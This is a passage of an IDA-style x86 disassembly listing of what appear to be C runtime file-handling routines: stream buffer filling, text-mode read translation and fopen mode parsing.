[ebp+arg_4] jmp loc_41DB43 ; --------------------------------------------------------------------------- loc_41DABA: ; CODE XREF: sub_41DA90+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_41DB03 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB03: ; CODE XREF: sub_41DA90+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_41DB14: ; CODE XREF: sub_41DA90+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_427D80 add esp, 1Ch test eax, eax jnz short loc_41DB38 xor eax, eax jmp short loc_41DB43 ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41DA90+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_41DB43: ; CODE XREF: sub_41DA90+25j ; sub_41DA90+A6j mov esp, ebp pop ebp retn sub_41DA90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB50 proc near ; CODE XREF: sub_416D80+182p ; sub_418340+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_41DB59: ; CODE XREF: sub_41DB50+31j cmp [ebp+arg_0], 0 jnz short loc_41DB7D push offset dword_4334B4 push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41DB7D int 3 ; Trap to Debugger loc_41DB7D: ; CODE XREF: sub_41DB50+Dj ; sub_41DB50+2Aj xor eax, eax test eax, eax jnz short loc_41DB59 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41DBA5 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_41DBAD loc_41DBA5: ; CODE XREF: sub_41DB50+46j or eax, 0FFFFFFFFh jmp loc_41DD2D ; --------------------------------------------------------------------------- loc_41DBAD: ; CODE XREF: sub_41DB50+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_41DBD0 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_41DD2D ; --------------------------------------------------------------------------- loc_41DBD0: ; CODE XREF: sub_41DB50+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_41DBFB mov ecx, [ebp+var_4] push ecx call sub_427F40 add esp, 4 jmp short loc_41DC06 ; --------------------------------------------------------------------------- loc_41DBFB: ; CODE XREF: sub_41DB50+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_41DC06: ; CODE XREF: sub_41DB50+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_41DD40 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_41DC3B mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_41DC6B loc_41DC3B: ; CODE XREF: sub_41DB50+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_41DD2D ; --------------------------------------------------------------------------- loc_41DC6B: ; CODE XREF: sub_41DB50+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_41DCD1 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_41DCA6 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_41DCAD ; --------------------------------------------------------------------------- loc_41DCA6: ; CODE XREF: sub_41DB50+131j mov [ebp+var_8], offset dword_444108 loc_41DCAD: ; CODE XREF: sub_41DB50+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_41DCD1 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_41DCD1: ; CODE XREF: sub_41DB50+128j ; sub_41DB50+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_41DD04 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_41DD04 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_41DD04 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_41DD04: ; CODE XREF: sub_41DB50+18Bj ; sub_41DB50+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_41DD2D: ; CODE XREF: sub_41DB50+58j ; sub_41DB50+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD40 proc near ; CODE XREF: sub_416D80+118p ; sub_41DB50+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_41DD71 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_41DD8C loc_41DD71: ; CODE XREF: sub_41DD40+Dj call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_41DDBE ; --------------------------------------------------------------------------- loc_41DD8C: ; CODE XREF: sub_41DD40+2Fj mov edx, [ebp+arg_0] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41DDD0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_427C70 add esp, 4 mov eax, [ebp+var_4] loc_41DDBE: ; CODE XREF: sub_41DD40+4Aj mov esp, ebp pop ebp retn sub_41DD40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDD0 proc near ; CODE XREF: sub_41DD40+64p ; sub_428050+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_41DE0B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_41DE12 loc_41DE0B: ; CODE XREF: sub_41DDD0+17j xor eax, eax jmp loc_41E211 ; --------------------------------------------------------------------------- loc_41DE12: ; CODE XREF: sub_41DDD0+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_41DEA9 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_41DEA9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_41DEA9: ; CODE XREF: sub_41DDD0+62j ; sub_41DDD0+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov eax, [edx+ecx] push eax call near ptr 2730000h nop test eax, eax jnz short loc_41DF28 call near ptr 26908EFh nop mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_41DF07 call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_41E211 ; --------------------------------------------------------------------------- loc_41DF07: ; CODE XREF: sub_41DDD0+118j cmp [ebp+var_8], 6Dh jnz short loc_41DF14 xor eax, eax jmp loc_41E211 ; --------------------------------------------------------------------------- loc_41DF14: ; CODE XREF: sub_41DDD0+13Bj mov edx, [ebp+var_8] push edx call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp loc_41E211 ; --------------------------------------------------------------------------- loc_41DF28: ; CODE XREF: sub_41DDD0+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_41E20E cmp [ebp+var_10], 0 jz short loc_41DFA4 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_41DFA4 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4DB460[edx*4] mov [edx+eax+4], cl jmp short loc_41DFDA ; --------------------------------------------------------------------------- loc_41DFA4: ; CODE XREF: sub_41DDD0+18Ej ; sub_41DDD0+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4DB460[ecx*4] mov [ecx+edx+4], al loc_41DFDA: ; CODE XREF: sub_41DDD0+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_41DFE6: ; CODE XREF: sub_41DDD0:loc_41E200j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_41E205 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_41E05E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_41E059 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4DB460[eax*4] mov [eax+ecx+4], dl loc_41E059: ; CODE XREF: sub_41DDD0+250j jmp loc_41E205 ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41DDD0+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_41E08A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_41E200 ; --------------------------------------------------------------------------- loc_41E08A: ; CODE XREF: sub_41DDD0+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_41E0E0 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_41E0BF mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_41E0DB ; --------------------------------------------------------------------------- loc_41E0BF: ; CODE XREF: sub_41DDD0+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41E0DB: ; CODE XREF: sub_41DDD0+2EDj jmp loc_41E200 ; --------------------------------------------------------------------------- loc_41E0E0: ; CODE XREF: sub_41DDD0+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov eax, [edx+ecx] push eax call near ptr 2730000h nop test eax, eax jnz short loc_41E129 nop call near ptr 26908EFh mov [ebp+var_8], eax loc_41E129: ; CODE XREF: sub_41DDD0+34Ej cmp [ebp+var_8], 0 jnz short loc_41E135 cmp [ebp+var_10], 0 jnz short loc_41E149 loc_41E135: ; CODE XREF: sub_41DDD0+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_41E200 ; --------------------------------------------------------------------------- loc_41E149: ; CODE XREF: sub_41DDD0+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_41E1B3 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_41E185 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_41E1B1 ; --------------------------------------------------------------------------- loc_41E185: ; CODE XREF: sub_41DDD0+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_41E1B1: ; CODE XREF: sub_41DDD0+3B3j jmp short loc_41E200 ; --------------------------------------------------------------------------- loc_41E1B3: ; CODE XREF: sub_41DDD0+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_41E1D5 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_41E1D5 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_41E200 ; --------------------------------------------------------------------------- loc_41E1D5: ; CODE XREF: sub_41DDD0+3E9j ; sub_41DDD0+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_4254B0 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_41E200 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_41E200: ; CODE XREF: sub_41DDD0+2B5j ; sub_41DDD0:loc_41E0DBj ... jmp loc_41DFE6 ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41DDD0+21Fj ; sub_41DDD0:loc_41E059j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_41E20E: ; CODE XREF: sub_41DDD0+184j mov eax, [ebp+var_18] loc_41E211: ; CODE XREF: sub_41DDD0+3Dj ; sub_41DDD0+132j ... mov esp, ebp pop ebp retn sub_41DDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E220 proc near ; CODE XREF: sub_416F50+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, dword_4DB304 mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_41E23F: ; CODE XREF: sub_41E220+47j cmp [ebp+arg_0], 0 jnz short loc_41E263 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41E263 int 3 ; Trap to Debugger loc_41E263: ; CODE XREF: sub_41E220+23j ; sub_41E220+40j xor ecx, ecx test ecx, ecx jnz short loc_41E23F loc_41E269: ; CODE XREF: sub_41E220+71j cmp [ebp+arg_4], 0 jnz short loc_41E28D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41E28D int 3 ; Trap to Debugger loc_41E28D: ; CODE XREF: sub_41E220+4Dj ; sub_41E220+6Aj xor edx, edx test edx, edx jnz short loc_41E269 loc_41E293: ; CODE XREF: sub_41E220+9Bj cmp [ebp+arg_C], 0 jnz short loc_41E2B7 push offset dword_4334B4 push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41E2B7 int 3 ; Trap to Debugger loc_41E2B7: ; CODE XREF: sub_41E220+77j ; sub_41E220+94j xor eax, eax test eax, eax jnz short loc_41E293 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_41E2FC cmp [ebp+var_20], 72h jz short loc_41E2D9 cmp [ebp+var_20], 77h jz short loc_41E2EA jmp short loc_41E30E ; --------------------------------------------------------------------------- loc_41E2D9: ; CODE XREF: sub_41E220+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_41E315 ; --------------------------------------------------------------------------- loc_41E2EA: ; CODE XREF: sub_41E220+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_41E315 ; --------------------------------------------------------------------------- loc_41E2FC: ; CODE XREF: sub_41E220+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_41E315 ; --------------------------------------------------------------------------- loc_41E30E: ; CODE XREF: sub_41E220+B7j xor eax, eax jmp loc_41E536 ; --------------------------------------------------------------------------- loc_41E315: ; CODE XREF: sub_41E220+C8j ; sub_41E220+DAj ... mov [ebp+var_4], 1 loc_41E31C: ; CODE XREF: sub_41E220:loc_41E4BAj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_41E4BF cmp [ebp+var_4], 0 jz loc_41E4BF mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_41E4B3 mov ecx, [ebp+var_24] xor eax, eax mov al, byte_41E565[ecx] jmp off_41E53D[eax*4] loc_41E36B: ; DATA XREF: ___:off_41E53Do mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_41E37E mov [ebp+var_4], 0 jmp short loc_41E3A0 ; --------------------------------------------------------------------------- loc_41E37E: ; CODE XREF: sub_41E220+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_41E3A0: ; CODE XREF: sub_41E220+15Cj jmp loc_41E4BA ; --------------------------------------------------------------------------- loc_41E3A5: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E551o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_41E3BB mov [ebp+var_4], 0 jmp short loc_41E3C4 ; --------------------------------------------------------------------------- loc_41E3BB: ; CODE XREF: sub_41E220+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_41E3C4: ; CODE XREF: sub_41E220+199j jmp loc_41E4BA ; --------------------------------------------------------------------------- loc_41E3C9: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E55Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_41E3DE mov [ebp+var_4], 0 jmp short loc_41E3E7 ; --------------------------------------------------------------------------- loc_41E3DE: ; CODE XREF: sub_41E220+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_41E3E7: ; CODE XREF: sub_41E220+1BCj jmp loc_41E4BA ; --------------------------------------------------------------------------- loc_41E3EC: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E555o cmp [ebp+var_18], 0 jz short loc_41E3FB mov [ebp+var_4], 0 jmp short loc_41E40B ; --------------------------------------------------------------------------- loc_41E3FB: ; CODE XREF: sub_41E220+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_41E40B: ; CODE XREF: sub_41E220+1D9j jmp loc_41E4BA ; --------------------------------------------------------------------------- loc_41E410: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E559o cmp [ebp+var_18], 0 jz short loc_41E41F mov [ebp+var_4], 0 jmp short loc_41E42F ; --------------------------------------------------------------------------- loc_41E41F: ; CODE XREF: sub_41E220+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_41E42F: ; CODE XREF: sub_41E220+1FDj jmp loc_41E4BA ; --------------------------------------------------------------------------- loc_41E434: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E549o cmp [ebp+var_10], 0 jz short loc_41E443 mov [ebp+var_4], 0 jmp short loc_41E453 ; --------------------------------------------------------------------------- loc_41E443: ; CODE XREF: sub_41E220+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_41E453: ; CODE XREF: sub_41E220+221j jmp short loc_41E4BA ; --------------------------------------------------------------------------- loc_41E455: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E545o cmp [ebp+var_10], 0 jz short loc_41E464 mov [ebp+var_4], 0 jmp short loc_41E474 ; --------------------------------------------------------------------------- loc_41E464: ; CODE XREF: sub_41E220+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_41E474: ; CODE XREF: sub_41E220+242j jmp short loc_41E4BA ; --------------------------------------------------------------------------- loc_41E476: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E54Do mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_41E48B mov [ebp+var_4], 0 jmp short loc_41E494 ; --------------------------------------------------------------------------- loc_41E48B: ; CODE XREF: sub_41E220+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_41E494: ; CODE XREF: sub_41E220+269j jmp short loc_41E4BA ; --------------------------------------------------------------------------- loc_41E496: ; CODE XREF: sub_41E220+144j ; DATA XREF: ___:0041E541o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_41E4A9 mov [ebp+var_4], 0 jmp short loc_41E4B1 ; --------------------------------------------------------------------------- loc_41E4A9: ; CODE XREF: sub_41E220+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_41E4B1: ; CODE XREF: sub_41E220+287j jmp short loc_41E4BA ; --------------------------------------------------------------------------- loc_41E4B3: ; CODE XREF: sub_41E220+133j ; sub_41E220+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_41E4BA: ; CODE XREF: sub_41E220:loc_41E3A0j ; sub_41E220:loc_41E3C4j ... jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E4BF: ; CODE XREF: sub_41E220+10Dj ; sub_41E220+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_428050 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_41E4E5 xor eax, eax jmp short loc_41E536 ; --------------------------------------------------------------------------- loc_41E4E5: ; CODE XREF: sub_41E220+2BFj mov ecx, dword_4DB110 add ecx, 1 mov dword_4DB110, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_41E536: ; CODE XREF: sub_41E220+F0j ; sub_41E220+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E220 endp ; --------------------------------------------------------------------------- off_41E53D dd offset loc_41E36B ; DATA XREF: sub_41E220+144r dd offset loc_41E496 dd offset loc_41E455 dd offset loc_41E434 dd offset loc_41E476 dd offset loc_41E3A5 dd offset loc_41E3EC dd offset loc_41E410 dd offset loc_41E3C9 dd offset loc_41E4B3 byte_41E565 db 0 ; DATA XREF: sub_41E220+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B0 proc near ; CODE XREF: sub_416F50+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_41B780 add esp, 4 mov [ebp+var_4], 0 jmp short loc_41E5D9 ; --------------------------------------------------------------------------- loc_41E5D0: ; CODE XREF: sub_41E5B0+A8j ; sub_41E5B0:loc_41E6D9j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41E5D9: ; CODE XREF: sub_41E5B0+1Ej mov ecx, [ebp+var_4] cmp ecx, dword_4DC7C0 jge loc_41E6DE mov edx, [ebp+var_4] mov eax, dword_4DB7AC cmp dword ptr [eax+edx*4], 0 jz short loc_41E66F mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_41E66D mov edx, [ebp+var_4] mov eax, dword_4DB7AC mov ecx, [eax+edx*4] push ecx mov edx, 